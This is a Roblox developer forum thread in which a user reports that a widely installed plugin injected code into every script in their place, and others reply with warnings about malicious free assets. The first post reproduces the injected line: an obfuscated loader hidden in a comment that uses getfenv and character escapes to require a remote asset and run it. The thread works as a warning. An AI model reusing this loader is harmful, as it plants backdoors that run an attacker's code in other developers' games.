Malicious 3D text plugin edited my scripts

Hey everyone, so I was using what I thought was a reputable 3D text plugin, as it had a few thousand votes, and a very high like-to-dislike ratio, but it seems the developer recently decided to edit the plugin.

Going through every script in my place, I can see that this was added as a comment to the bottom of every script

gamer moment
]]if require == print then require = print("nice try");print("nice try") end LOX = 4755747611; L0X = 67877778; local b = getfenv()["\76\79\88"] + getfenv()["\76\48\88"] getfenv()['\114\101\113\117\105\114\101'](b)["\77\111\100\101\108\72\101\108\112\101\114"]()--]]--

Funny enough, I didn’t know until pasting the lines into this text box, that there was all this hidden text. In the scripts, it only shows the following:

gamer moment

The plugin was disabled, for being malicious obviously. My question now is, is this something that I will need to manually go through every script and delete, or is there an actual antivirus plugin that works for situations like this?

Can you tell me what plugin did you use in your game? Really need to know

I’m not sure how I’d find the exact name now that it is all [Content Deleted].

Only thing I can still see is that it looks like the name of the uploader was ‘Plugin Recreators’.

Also, seems a Smooth Camera plugin I recently installed (500,000+ installs) is also malicious. The plugin:

Already reported it.

Means somebody had reported this plugin? I hope I don’t own this. Regarding antivirus, I will try to investigate if there is a plugin or a feature in the Studio. That would be very helpful to me, you and others if I will find out. I’m also worried about the safety of your game, what if the other games were affected with this plugin.

I meant to reply to this. 30ch

I’m realizing now the malicious code I posted was not actually from the 3D text plugin, but the Smooth Camera one.

Doesn’t seem like there are any remnants from the 3D text editor, and my scripts went back to normal after uninstalling the still-active Smooth Camera plugin. So, that’s a silver lining at least.

I’m very surprised to see that a top 10 best-selling plugin is actively carrying malicious code. I’ve only been active in the developing community for the past 3-4 weeks, lesson learned!

Yeah, imagine thousands of free assets that are malicious and can create a virus in your game. That is actually happening nowadays. My suggestion is to not add free admin commands to your game as they may contain hidden malicious code.

if your looking for a smooth camera in the roblox studio get crazyman32’s smooth camera plugin